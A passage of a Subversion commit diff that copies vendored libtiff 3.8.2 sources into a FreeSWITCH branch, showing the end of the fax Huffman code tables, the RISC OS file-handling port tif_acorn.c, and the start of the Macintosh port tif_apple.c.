+    { 8, 0x34, 63 },	/* 0011 0100 */
+    { 5, 0x1B, 64 },	/* 1101 1 */
+    { 5, 0x12, 128 },	/* 1001 0 */
+    { 6, 0x17, 192 },	/* 0101 11 */
+    { 7, 0x37, 256 },	/* 0110 111 */
+    { 8, 0x36, 320 },	/* 0011 0110 */
+    { 8, 0x37, 384 },	/* 0011 0111 */
+    { 8, 0x64, 448 },	/* 0110 0100 */
+    { 8, 0x65, 512 },	/* 0110 0101 */
+    { 8, 0x68, 576 },	/* 0110 1000 */
+    { 8, 0x67, 640 },	/* 0110 0111 */
+    { 9, 0xCC, 704 },	/* 0110 0110 0 */
+    { 9, 0xCD, 768 },	/* 0110 0110 1 */
+    { 9, 0xD2, 832 },	/* 0110 1001 0 */
+    { 9, 0xD3, 896 },	/* 0110 1001 1 */
+    { 9, 0xD4, 960 },	/* 0110 1010 0 */
+    { 9, 0xD5, 1024 },	/* 0110 1010 1 */
+    { 9, 0xD6, 1088 },	/* 0110 1011 0 */
+    { 9, 0xD7, 1152 },	/* 0110 1011 1 */
+    { 9, 0xD8, 1216 },	/* 0110 1100 0 */
+    { 9, 0xD9, 1280 },	/* 0110 1100 1 */
+    { 9, 0xDA, 1344 },	/* 0110 1101 0 */
+    { 9, 0xDB, 1408 },	/* 0110 1101 1 */
+    { 9, 0x98, 1472 },	/* 0100 1100 0 */
+    { 9, 0x99, 1536 },	/* 0100 1100 1 */
+    { 9, 0x9A, 1600 },	/* 0100 1101 0 */
+    { 6, 0x18, 1664 },	/* 0110 00 */
+    { 9, 0x9B, 1728 },	/* 0100 1101 1 */
+    { 11, 0x8, 1792 },	/* 0000 0001 000 */
+    { 11, 0xC, 1856 },	/* 0000 0001 100 */
+    { 11, 0xD, 1920 },	/* 0000 0001 101 */
+    { 12, 0x12, 1984 },	/* 0000 0001 0010 */
+    { 12, 0x13, 2048 },	/* 0000 0001 0011 */
+    { 12, 0x14, 2112 },	/* 0000 0001 0100 */
+    { 12, 0x15, 2176 },	/* 0000 0001 0101 */
+    { 12, 0x16, 2240 },	/* 0000 0001 0110 */
+    { 12, 0x17, 2304 },	/* 0000 0001 0111 */
+    { 12, 0x1C, 2368 },	/* 0000 0001 1100 */
+    { 12, 0x1D, 2432 },	/* 0000 0001 1101 */
+    { 12, 0x1E, 2496 },	/* 0000 0001 1110 */
+    { 12, 0x1F, 2560 },	/* 0000 0001 1111 */
+    { 12, 0x1, G3CODE_EOL },	/* 0000 0000 0001 */
+    { 9, 0x1, G3CODE_INVALID },	/* 0000 0000 1 */
+    { 10, 0x1, G3CODE_INVALID },	/* 0000 0000 01 */
+    { 11, 0x1, G3CODE_INVALID },	/* 0000 0000 001 */
+    { 12, 0x0, G3CODE_INVALID },	/* 0000 0000 0000 */
+};
+
+const tableentry TIFFFaxBlackCodes[] = {
+    { 10, 0x37, 0 },	/* 0000 1101 11 */
+    { 3, 0x2, 1 },	/* 010 */
+    { 2, 0x3, 2 },	/* 11 */
+    { 2, 0x2, 3 },	/* 10 */
+    { 3, 0x3, 4 },	/* 011 */
+    { 4, 0x3, 5 },	/* 0011 */
+    { 4, 0x2, 6 },	/* 0010 */
+    { 5, 0x3, 7 },	/* 0001 1 */
+    { 6, 0x5, 8 },	/* 0001 01 */
+    { 6, 0x4, 9 },	/* 0001 00 */
+    { 7, 0x4, 10 },	/* 0000 100 */
+    { 7, 0x5, 11 },	/* 0000 101 */
+    { 7, 0x7, 12 },	/* 0000 111 */
+    { 8, 0x4, 13 },	/* 0000 0100 */
+    { 8, 0x7, 14 },	/* 0000 0111 */
+    { 9, 0x18, 15 },	/* 0000 1100 0 */
+    { 10, 0x17, 16 },	/* 0000 0101 11 */
+    { 10, 0x18, 17 },	/* 0000 0110 00 */
+    { 10, 0x8, 18 },	/* 0000 0010 00 */
+    { 11, 0x67, 19 },	/* 0000 1100 111 */
+    { 11, 0x68, 20 },	/* 0000 1101 000 */
+    { 11, 0x6C, 21 },	/* 0000 1101 100 */
+    { 11, 0x37, 22 },	/* 0000 0110 111 */
+    { 11, 0x28, 23 },	/* 0000 0101 000 */
+    { 11, 0x17, 24 },	/* 0000 0010 111 */
+    { 11, 0x18, 25 },	/* 0000 0011 000 */
+    { 12, 0xCA, 26 },	/* 0000 1100 1010 */
+    { 12, 0xCB, 27 },	/* 0000 1100 1011 */
+    { 12, 0xCC, 28 },	/* 0000 1100 1100 */
+    { 12, 0xCD, 29 },	/* 0000 1100 1101 */
+    { 12, 0x68, 30 },	/* 0000 0110 1000 */
+    { 12, 0x69, 31 },	/* 0000 0110 1001 */
+    { 12, 0x6A, 32 },	/* 0000 0110 1010 */
+    { 12, 0x6B, 33 },	/* 0000 0110 1011 */
+    { 12, 0xD2, 34 },	/* 0000 1101 0010 */
+    { 12, 0xD3, 35 },	/* 0000 1101 0011 */
+    { 12, 0xD4, 36 },	/* 0000 1101 0100 */
+    { 12, 0xD5, 37 },	/* 0000 1101 0101 */
+    { 12, 0xD6, 38 },	/* 0000 1101 0110 */
+    { 12, 0xD7, 39 },	/* 0000 1101 0111 */
+    { 12, 0x6C, 40 },	/* 0000 0110 1100 */
+    { 12, 0x6D, 41 },	/* 0000 0110 1101 */
+    { 12, 0xDA, 42 },	/* 0000 1101 1010 */
+    { 12, 0xDB, 43 },	/* 0000 1101 1011 */
+    { 12, 0x54, 44 },	/* 0000 0101 0100 */
+    { 12, 0x55, 45 },	/* 0000 0101 0101 */
+    { 12, 0x56, 46 },	/* 0000 0101 0110 */
+    { 12, 0x57, 47 },	/* 0000 0101 0111 */
+    { 12, 0x64, 48 },	/* 0000 0110 0100 */
+    { 12, 0x65, 49 },	/* 0000 0110 0101 */
+    { 12, 0x52, 50 },	/* 0000 0101 0010 */
+    { 12, 0x53, 51 },	/* 0000 0101 0011 */
+    { 12, 0x24, 52 },	/* 0000 0010 0100 */
+    { 12, 0x37, 53 },	/* 0000 0011 0111 */
+    { 12, 0x38, 54 },	/* 0000 0011 1000 */
+    { 12, 0x27, 55 },	/* 0000 0010 0111 */
+    { 12, 0x28, 56 },	/* 0000 0010 1000 */
+    { 12, 0x58, 57 },	/* 0000 0101 1000 */
+    { 12, 0x59, 58 },	/* 0000 0101 1001 */
+    { 12, 0x2B, 59 },	/* 0000 0010 1011 */
+    { 12, 0x2C, 60 },	/* 0000 0010 1100 */
+    { 12, 0x5A, 61 },	/* 0000 0101 1010 */
+    { 12, 0x66, 62 },	/* 0000 0110 0110 */
+    { 12, 0x67, 63 },	/* 0000 0110 0111 */
+    { 10, 0xF, 64 },	/* 0000 0011 11 */
+    { 12, 0xC8, 128 },	/* 0000 1100 1000 */
+    { 12, 0xC9, 192 },	/* 0000 1100 1001 */
+    { 12, 0x5B, 256 },	/* 0000 0101 1011 */
+    { 12, 0x33, 320 },	/* 0000 0011 0011 */
+    { 12, 0x34, 384 },	/* 0000 0011 0100 */
+    { 12, 0x35, 448 },	/* 0000 0011 0101 */
+    { 13, 0x6C, 512 },	/* 0000 0011 0110 0 */
+    { 13, 0x6D, 576 },	/* 0000 0011 0110 1 */
+    { 13, 0x4A, 640 },	/* 0000 0010 0101 0 */
+    { 13, 0x4B, 704 },	/* 0000 0010 0101 1 */
+    { 13, 0x4C, 768 },	/* 0000 0010 0110 0 */
+    { 13, 0x4D, 832 },	/* 0000 0010 0110 1 */
+    { 13, 0x72, 896 },	/* 0000 0011 1001 0 */
+    { 13, 0x73, 960 },	/* 0000 0011 1001 1 */
+    { 13, 0x74, 1024 },	/* 0000 0011 1010 0 */
+    { 13, 0x75, 1088 },	/* 0000 0011 1010 1 */
+    { 13, 0x76, 1152 },	/* 0000 0011 1011 0 */
+    { 13, 0x77, 1216 },	/* 0000 0011 1011 1 */
+    { 13, 0x52, 1280 },	/* 0000 0010 1001 0 */
+    { 13, 0x53, 1344 },	/* 0000 0010 1001 1 */
+    { 13, 0x54, 1408 },	/* 0000 0010 1010 0 */
+    { 13, 0x55, 1472 },	/* 0000 0010 1010 1 */
+    { 13, 0x5A, 1536 },	/* 0000 0010 1101 0 */
+    { 13, 0x5B, 1600 },	/* 0000 0010 1101 1 */
+    { 13, 0x64, 1664 },	/* 0000 0011 0010 0 */
+    { 13, 0x65, 1728 },	/* 0000 0011 0010 1 */
+    { 11, 0x8, 1792 },	/* 0000 0001 000 */
+    { 11, 0xC, 1856 },	/* 0000 0001 100 */
+    { 11, 0xD, 1920 },	/* 0000 0001 101 */
+    { 12, 0x12, 1984 },	/* 0000 0001 0010 */
+    { 12, 0x13, 2048 },	/* 0000 0001 0011 */
+    { 12, 0x14, 2112 },	/* 0000 0001 0100 */
+    { 12, 0x15, 2176 },	/* 0000 0001 0101 */
+    { 12, 0x16, 2240 },	/* 0000 0001 0110 */
+    { 12, 0x17, 2304 },	/* 0000 0001 0111 */
+    { 12, 0x1C, 2368 },	/* 0000 0001 1100 */
+    { 12, 0x1D, 2432 },	/* 0000 0001 1101 */
+    { 12, 0x1E, 2496 },	/* 0000 0001 1110 */
+    { 12, 0x1F, 2560 },	/* 0000 0001 1111 */
+    { 12, 0x1, G3CODE_EOL },	/* 0000 0000 0001 */
+    { 9, 0x1, G3CODE_INVALID },	/* 0000 0000 1 */
+    { 10, 0x1, G3CODE_INVALID },	/* 0000 0000 01 */
+    { 11, 0x1, G3CODE_INVALID },	/* 0000 0000 001 */
+    { 12, 0x0, G3CODE_INVALID },	/* 0000 0000 0000 */
+};
+#else
+extern	const tableentry TIFFFaxWhiteCodes[];
+extern	const tableentry TIFFFaxBlackCodes[];
+#endif
+#endif /* _T4_ */

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_acorn.c

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_acorn.c (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/libtiff/tif_acorn.c) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_acorn.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_acorn.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,519 @@
+/* $Header: /cvs/maptools/cvsroot/libtiff/libtiff/tif_acorn.c,v 1.2 2005/12/21 12:23:13 joris Exp $ */
+
+/*
+ * Copyright (c) 1988-1997 Sam Leffler
+ * Copyright (c) 1991-1997 Silicon Graphics, Inc.
+ *
+ * Permission to use, copy, modify, distribute, and sell this software and
+ * its documentation for any purpose is hereby granted without fee, provided
+ * that (i) the above copyright notices and this permission notice appear in
+ * all copies of the software and related documentation, and (ii) the names of
+ * Sam Leffler and Silicon Graphics may not be used in any advertising or
+ * publicity relating to the software without the specific, prior written
+ * permission of Sam Leffler and Silicon Graphics.
+ *
+ * THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND,
+ * EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY
+ * WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.
+ *
+ * IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+ * ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+ * OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+ * WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF
+ * LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE
+ * OF THIS SOFTWARE.
+ */
+
+/*
+ * TIFF Library RISC OS specific Routines.
+ * Developed out of the Unix version.
+ * Peter Greenham, May 1995
+ */
+#include "tiffiop.h"
+#include <stdio.h>
+#include <stdlib.h>
+
+/*
+Low-level file handling
+~~~~~~~~~~~~~~~~~~~~~~~
+The functions in osfcn.h are unavailable when compiling under C, as it's a
+C++ header. Therefore they have been implemented here.
+
+Now, why have I done it this way?
+
+The definitive API library for RISC OS is Jonathan Coxhead's OSLib, which
+uses heavily optimised ARM assembler or even plain inline SWI calls for
+maximum performance and minimum runtime size. However, I don't want to make
+LIBTIFF need that to survive. Therefore I have also emulated the functions
+using macros to _swi() and _swix() defined in the swis.h header, and
+borrowing types from kernel.h, which is less efficient but doesn't need any
+third-party libraries.
+ */
+
+#ifdef INCLUDE_OSLIB
+
+#include "osfile.h"
+#include "osgbpb.h"
+#include "osargs.h"
+#include "osfind.h"
+
+#else
+
+/* OSLIB EMULATION STARTS */
+
+#include "kernel.h"
+#include "swis.h"
+
+/* From oslib:types.h */
+typedef unsigned int                            bits;
+typedef unsigned char                           byte;
+#ifndef TRUE
+#define TRUE                                    1
+#endif
+#ifndef FALSE
+#define FALSE                                   0
+#endif
+#ifndef NULL
+#define NULL                                    0
+#endif
+#ifndef SKIP
+#define SKIP                                    0
+#endif
+
+/* From oslib:os.h */
+typedef _kernel_oserror os_error;
+typedef byte os_f;
+
+/* From oslib:osfile.h */
+#undef  OS_File
+#define OS_File                                 0x8
+
+/* From oslib:osgbpb.h */
+#undef  OS_GBPB
+#define OS_GBPB                                 0xC
+#undef  OSGBPB_Write
+#define OSGBPB_Write                            0x2
+#undef  OSGBPB_Read
+#define OSGBPB_Read                             0x4
+
+extern os_error *xosgbpb_write (os_f file,
+      byte *data,
+      int size,
+      int *unwritten);
+extern int osgbpb_write (os_f file,
+      byte *data,
+      int size);
+
+#define	xosgbpb_write(file, data, size, unwritten) \
+	(os_error*) _swix(OS_GBPB, _IN(0)|_IN(1)|_IN(2)|_IN(3)|_IN(4)|_OUT(3), \
+		OSGBPB_WriteAt, \
+		file, \
+		data, \
+		size, \
+		unwritten)
+
+#define	osgbpb_write(file, data, size) \
+	_swi(OS_GBPB, _IN(0)|_IN(1)|_IN(2)|_IN(3)|_RETURN(3), \
+		OSGBPB_Write, \
+		file, \
+		data, \
+		size)
+
+extern os_error *xosgbpb_read (os_f file,
+      byte *buffer,
+      int size,
+      int *unread);
+extern int osgbpb_read (os_f file,
+      byte *buffer,
+      int size);
+
+#define	xosgbpb_read(file, buffer, size, unread) \
+	(os_error*) _swix(OS_GBPB, _IN(0)|_IN(1)|_IN(2)|_IN(3)|_OUT(3), \
+		OSGBPB_Read, \
+		file, \
+		buffer, \
+		size, \
+		unread)
+
+#define	osgbpb_read(file, buffer, size) \
+	_swi(OS_GBPB, _IN(0)|_IN(1)|_IN(2)|_IN(3)|_RETURN(3), \
+		OSGBPB_Read, \
+		file, \
+		buffer, \
+		size)
+
+/* From oslib:osfind.h */
+#undef  OS_Find
+#define OS_Find                                 0xD
+#undef  OSFind_Openin
+#define OSFind_Openin                           0x40
+#undef  OSFind_Openout
+#define OSFind_Openout                          0x80
+#undef  OSFind_Openup
+#define OSFind_Openup                           0xC0
+#undef  OSFind_Close
+#define OSFind_Close                            0x0
+
+#define	xosfind_open(reason, file_name, path, file) \
+	(os_error*) _swix(OS_Find, _IN(0)|_IN(1)|_IN(2)|_OUT(0), \
+		reason, file_name, path, file)
+
+#define	osfind_open(reason, file_name, path) \
+	(os_f) _swi(OS_Find, _IN(0)|_IN(1)|_IN(2)|_RETURN(0), \
+		reason, file_name, path)
+
+extern os_error *xosfind_openin (bits flags,
+      char *file_name,
+      char *path,
+      os_f *file);
+extern os_f osfind_openin (bits flags,
+      char *file_name,
+      char *path);
+
+#define	xosfind_openin(flags, file_name, path, file) \
+	xosfind_open(flags | OSFind_Openin, file_name, path, file)
+
+#define	osfind_openin(flags, file_name, path) \
+	osfind_open(flags | OSFind_Openin, file_name, path)
+
+extern os_error *xosfind_openout (bits flags,
+      char *file_name,
+      char *path,
+      os_f *file);
+extern os_f osfind_openout (bits flags,
+      char *file_name,
+      char *path);
+
+#define	xosfind_openout(flags, file_name, path, file) \
+	xosfind_open(flags | OSFind_Openout, file_name, path, file)
+
+#define	osfind_openout(flags, file_name, path) \
+	osfind_open(flags | OSFind_Openout, file_name, path)
+
+extern os_error *xosfind_openup (bits flags,
+      char *file_name,
+      char *path,
+      os_f *file);
+extern os_f osfind_openup (bits flags,
+      char *file_name,
+      char *path);
+
+#define	xosfind_openup(flags, file_name, path, file) \
+	xosfind_open(flags | OSFind_Openup, file_name, path, file)
+
+#define	osfind_openup(flags, file_name, path) \
+	osfind_open(flags | OSFind_Openup, file_name, path)
+
+extern os_error *xosfind_close (os_f file);
+extern void osfind_close (os_f file);
+
+#define	xosfind_close(file) \
+	(os_error*) _swix(OS_Find, _IN(0)|_IN(1), \
+		OSFind_Close, \
+		file)
+
+#define	osfind_close(file) \
+	(void) _swi(OS_Find, _IN(0)|_IN(1), \
+		OSFind_Close, \
+		file)
+
+/* From oslib:osargs.h */
+#undef  OS_Args
+#define OS_Args                                 0x9
+#undef  OSArgs_ReadPtr
+#define OSArgs_ReadPtr                          0x0
+#undef  OSArgs_SetPtr
+#define OSArgs_SetPtr                           0x1
+#undef  OSArgs_ReadExt
+#define OSArgs_ReadExt                          0x2
+
+extern os_error *xosargs_read_ptr (os_f file,
+      int *ptr);
+extern int osargs_read_ptr (os_f file);
+
+#define	xosargs_read_ptr(file, ptr) \
+	(os_error*) _swix(OS_Args, _IN(0)|_IN(1)|_OUT(2), \
+		OSArgs_ReadPtr, \
+		file, \
+		ptr)
+
+#define	osargs_read_ptr(file) \
+	_swi(OS_Args, _IN(0)|_IN(1)|_RETURN(2), \
+		OSArgs_ReadPtr, \
+		file)
+
+extern os_error *xosargs_set_ptr (os_f file,
+      int ptr);
+extern void osargs_set_ptr (os_f file,
+      int ptr);
+
+#define	xosargs_set_ptr(file, ptr) \
+	(os_error*) _swix(OS_Args, _IN(0)|_IN(1)|_IN(2), \
+		OSArgs_SetPtr, \
+		file, \
+		ptr)
+
+#define	osargs_set_ptr(file, ptr) \
+	(void) _swi(OS_Args, _IN(0)|_IN(1)|_IN(2), \
+		OSArgs_SetPtr, \
+		file, \
+		ptr)
+
+extern os_error *xosargs_read_ext (os_f file,
+      int *ext);
+extern int osargs_read_ext (os_f file);
+
+#define	xosargs_read_ext(file, ext) \
+	(os_error*) _swix(OS_Args, _IN(0)|_IN(1)|_OUT(2), \
+		OSArgs_ReadExt, \
+		file, \
+		ext)
+
+#define	osargs_read_ext(file) \
+	_swi(OS_Args, _IN(0)|_IN(1)|_RETURN(2), \
+		OSArgs_ReadExt, \
+		file)
+
+/* OSLIB EMULATION ENDS */
+
+#endif
+
+#ifndef __osfcn_h
+/* Will be set or not during tiffcomp.h */
+/* You get this to compile under C++? Please say how! */
+
+extern int open(const char* name, int flags, int mode)
+{
+	/* From what I can tell, should return <0 for failure */
+	os_error* e = (os_error*) 1; /* Cheeky way to use a pointer eh? :-) */
+	os_f file = (os_f) -1;
+
+	flags = flags;
+
+	switch(mode)
+	{
+		case O_RDONLY:
+		{
+			e = xosfind_openin(SKIP, name, SKIP, &file);
+			break;
+		}
+		case O_WRONLY:
+		case O_RDWR|O_CREAT:
+		case O_RDWR|O_CREAT|O_TRUNC:
+		{
+			e = xosfind_openout(SKIP, name, SKIP, &file);
+			break;
+		}
+		case O_RDWR:
+		{
+			e = xosfind_openup(SKIP, name, SKIP, &file);
+			break;
+		}
+	}
+	if (e)
+	{
+		file = (os_f) -1;
+	}
+	return (file);
+}
+
+extern int close(int fd)
+{
+	return ((int) xosfind_close((os_f) fd));
+}
+
+extern int write(int fd, const char *buf, int nbytes)
+{
+	/* Returns number of bytes written */
+	return (nbytes - osgbpb_write((os_f) fd, (const byte*) buf, nbytes));
+}
+
+extern int read(int fd, char *buf, int nbytes)
+{
+	/* Returns number of bytes read */
+	return (nbytes - osgbpb_read((os_f) fd, (byte*) buf, nbytes));
+}
+
+extern off_t lseek(int fd, off_t offset, int whence)
+{
+	int absolute = 0;
+
+	switch (whence)
+	{
+		case SEEK_SET:
+		{
+			absolute = (int) offset;
+			break;
+		}
+		case SEEK_CUR:
+		{
+			absolute = osargs_read_ptr((os_f) fd) + (int) offset;
+			break;
+		}
+		case SEEK_END:
+		{
+			absolute = osargs_read_ext((os_f) fd) + (int) offset;
+			break;
+		}
+	}
+
+	osargs_set_ptr((os_f) fd, absolute);
+
+	return ((off_t) osargs_read_ptr((os_f) fd));
+}
+#endif
+
+static tsize_t
+_tiffReadProc(thandle_t fd, tdata_t buf, tsize_t size)
+{
+	return ((tsize_t) read((int) fd, buf, (size_t) size));
+}
+
+static tsize_t
+_tiffWriteProc(thandle_t fd, tdata_t buf, tsize_t size)
+{
+	return ((tsize_t) write((int) fd, buf, (size_t) size));
+}
+
+static toff_t
+_tiffSeekProc(thandle_t fd, toff_t off, int whence)
+{
+	return ((toff_t) lseek((int) fd, (off_t) off, whence));
+}
+
+static int
+_tiffCloseProc(thandle_t fd)
+{
+	return (close((int) fd));
+}
+
+static toff_t
+_tiffSizeProc(thandle_t fd)
+{
+	return (lseek((int) fd, SEEK_END, SEEK_SET));
+}
+
+#ifdef HAVE_MMAP
+#error "I didn't know Acorn had that!"
+#endif
+
+/* !HAVE_MMAP */
+static int
+_tiffMapProc(thandle_t fd, tdata_t* pbase, toff_t* psize)
+{
+	(void) fd; (void) pbase; (void) psize;
+	return (0);
+}
+
+static void
+_tiffUnmapProc(thandle_t fd, tdata_t base, toff_t size)
+{
+	(void) fd; (void) base; (void) size;
+}
+
+/*
+ * Open a TIFF file descriptor for read/writing.
+ */
+TIFF*
+TIFFFdOpen(int fd, const char* name, const char* mode)
+{
+	TIFF* tif;
+
+	tif = TIFFClientOpen(name, mode,
+		(thandle_t) fd,
+		_tiffReadProc, _tiffWriteProc,
+		_tiffSeekProc, _tiffCloseProc, _tiffSizeProc,
+		_tiffMapProc, _tiffUnmapProc);
+	if (tif)
+	{
+		tif->tif_fd = fd;
+	}
+	return (tif);
+}
+
+/*
+ * Open a TIFF file for read/writing.
+ */
+TIFF*
+TIFFOpen(const char* name, const char* mode)
+{
+	static const char module[] = "TIFFOpen";
+	int m, fd;
+
+	m = _TIFFgetMode(mode, module);
+
+	if (m == -1)
+	{
+		return ((TIFF*) 0);
+	}
+
+	fd = open(name, 0, m);
+
+	if (fd < 0)
+	{
+		TIFFErrorExt(0, module, "%s: Cannot open", name);
+		return ((TIFF *)0);
+	}
+	return (TIFFFdOpen(fd, name, mode));
+}
+
+void*
+_TIFFmalloc(tsize_t s)
+{
+	return (malloc((size_t) s));
+}
+
+void
+_TIFFfree(tdata_t p)
+{
+	free(p);
+}
+
+void*
+_TIFFrealloc(tdata_t p, tsize_t s)
+{
+	return (realloc(p, (size_t) s));
+}
+
+void
+_TIFFmemset(tdata_t p, int v, tsize_t c)
+{
+	memset(p, v, (size_t) c);
+}
+
+void
+_TIFFmemcpy(tdata_t d, const tdata_t s, tsize_t c)
+{
+	memcpy(d, s, (size_t) c);
+}
+
+int
+_TIFFmemcmp(const tdata_t p1, const tdata_t p2, tsize_t c)
+{
+	return (memcmp(p1, p2, (size_t) c));
+}
+
+static void
+acornWarningHandler(const char* module, const char* fmt, va_list ap)
+{
+	if (module != NULL)
+	{
+		fprintf(stderr, "%s: ", module);
+	}
+	fprintf(stderr, "Warning, ");
+	vfprintf(stderr, fmt, ap);
+	fprintf(stderr, ".\n");
+}
+TIFFErrorHandler _TIFFwarningHandler = acornWarningHandler;
+
+static void
+acornErrorHandler(const char* module, const char* fmt, va_list ap)
+{
+	if (module != NULL)
+	{
+		fprintf(stderr, "%s: ", module);
+	}
+	vfprintf(stderr, fmt, ap);
+	fprintf(stderr, ".\n");
+}
+TIFFErrorHandler _TIFFerrorHandler = acornErrorHandler;

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_apple.c

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_apple.c (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/libtiff/tif_apple.c) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_apple.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_apple.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,274 @@
+/* $Header: /cvs/maptools/cvsroot/libtiff/libtiff/tif_apple.c,v 1.3 2005/12/21 12:23:13 joris Exp $ */
+
+/*
+ * Copyright (c) 1988-1997 Sam Leffler
+ * Copyright (c) 1991-1997 Silicon Graphics, Inc.
+ *
+ * Permission to use, copy, modify, distribute, and sell this software and 
+ * its documentation for any purpose is hereby granted without fee, provided
+ * that (i) the above copyright notices and this permission notice appear in
+ * all copies of the software and related documentation, and (ii) the names of
+ * Sam Leffler and Silicon Graphics may not be used in any advertising or
+ * publicity relating to the software without the specific, prior written
+ * permission of Sam Leffler and Silicon Graphics.
+ * 
+ * THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+ * EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+ * WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+ * 
+ * IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+ * ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+ * OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+ * WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+ * LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+ * OF THIS SOFTWARE.
+ */
+
+/*
+ * TIFF Library Macintosh-specific routines.
+ *
+ * These routines use only Toolbox and high-level File Manager traps.
+ * They make no calls to the THINK C "unix" compatibility library.  Also,
+ * malloc is not used directly but it is still referenced internally by
+ * the ANSI library in rare cases.  Heap fragmentation by the malloc ring
+ * buffer is therefore minimized.
+ *
+ * O_RDONLY and O_RDWR are treated identically here.  The tif_mode flag is
+ * checked in TIFFWriteCheck().
+ *
+ * Create below fills in a blank creator signature and sets the file type
+ * to 'TIFF'.  It is much better for the application to do this by Create'ing
+ * the file first and TIFFOpen'ing it later.
+ * ---------
+ * This code has been "Carbonized", and may not work with older MacOS versions.
+ * If so, grab the tif_apple.c out of an older libtiff distribution, like
+ * 3.5.5 from www.libtiff.org.
+ */
+
+#include "tiffiop.h"
+#include <Errors.h>
+#include <Files.h>
+#include <Memory.h>
+#include <Script.h>
+
+#if defined(__PPCC__) || defined(__SC__) || defined(__MRC__) || defined(applec)
+#define	CtoPstr	c2pstr
+#endif
+
+static tsize_t
+_tiffReadProc(thandle_t fd, tdata_t buf, tsize_t size)
+{
+	return (FSRead((short) fd, (long*) &size, (char*) buf) == noErr ?
+	    size : (tsize_t) -1);
+}
+
+static tsize_t
+_tiffWriteProc(thandle_t fd, tdata_t buf, tsize_t size)
+{
+	return (FSWrite((short) fd, (long*) &size, (char*) buf) == noErr ?
+	    size : (tsize_t) -1);
+}
+
+static toff_t
+_tiffSeekProc(thandle_t fd, toff_t off, int whence)
+{
+	long fpos, size;
+
+	if (GetEOF((short) fd, &size) != noErr)
+		return EOF;
+	(void) GetFPos((short) fd, &fpos);
+
+	switch (whence) {
+	case SEEK_CUR:
+		if (off + fpos > size)
+			SetEOF((short) fd, off + fpos);
+		if (SetFPos((short) fd, fsFromMark, off) != noErr)
+			return EOF;
+		break;
+	case SEEK_END:
+		if (off > 0)
+			SetEOF((short) fd, off + size);
+		if (SetFPos((short) fd, fsFromStart, off + size) != noErr)
+			return EOF;
+		break;
+	case SEEK_SET:
+		if (off > size)
+			SetEOF((short) fd, off);
+		if (SetFPos((short) fd, fsFromStart, off) != noErr)
+			return EOF;
+		break;
+	}
+
+	return (toff_t)(GetFPos((short) fd, &fpos) == noErr ? fpos : EOF);
+}
+
+static int
+_tiffMapProc(thandle_t fd, tdata_t* pbase, toff_t* psize)
+{
+	return (0);
+}
+
+static void
+_tiffUnmapProc(thandle_t fd, tdata_t base, toff_t size)
+{
+}
+
+static int
+_tiffCloseProc(thandle_t fd)
+{
+	return (FSClose((short) fd));
+}
+
+static toff_t
+_tiffSizeProc(thandle_t fd)
+{
+	long size;
+
+	if (GetEOF((short) fd, &size) != noErr) {
+		TIFFErrorExt(fd, "_tiffSizeProc", "%s: Cannot get file size");
+		return (-1L);
+	}
+	return ((toff_t) size);
+}
+
+/*
+ * Open a TIFF file descriptor for read/writing.
+ */
+TIFF*
+TIFFFdOpen(int fd, const char* name, const char* mode)
+{
+	TIFF* tif;
+
+	tif = TIFFClientOpen(name, mode, (thandle_t) fd,
+	    _tiffReadProc, _tiffWriteProc, _tiffSeekProc, _tiffCloseProc,
+	    _tiffSizeProc, _tiffMapProc, _tiffUnmapProc);
+	if (tif)
+		tif->tif_fd = fd;
+	return (tif);
+}
+
+static void ourc2pstr( char* inString )
+{
+	int	sLen = strlen( inString );
+	BlockMoveData( inString, &inString[1], sLen );
+	inString[0] = sLen;
+}
+
+/*
+ * Open a TIFF file for read/writing.
+ */
+TIFF*
+TIFFOpen(const char* name, const char* mode)
+{
+	static const char module[] = "TIFFOpen";
+	Str255 pname;
+	FInfo finfo;
+	short fref;
+	OSErr err;
+	FSSpec	fSpec;
+
+	strcpy((char*) pname, name);
+	ourc2pstr((char*) pname);
+	
+	err = FSMakeFSSpec( 0, 0, pname, &fSpec );
+
+	switch (_TIFFgetMode(mode, module)) {
+	default:
+		return ((TIFF*) 0);
+	case O_RDWR | O_CREAT | O_TRUNC:
+		if (FSpGetFInfo(&fSpec, &finfo) == noErr)
+			FSpDelete(&fSpec);
+		/* fall through */
+	case O_RDWR | O_CREAT:
+		if ((err = FSpGetFInfo(&fSpec, &finfo)) == fnfErr) {
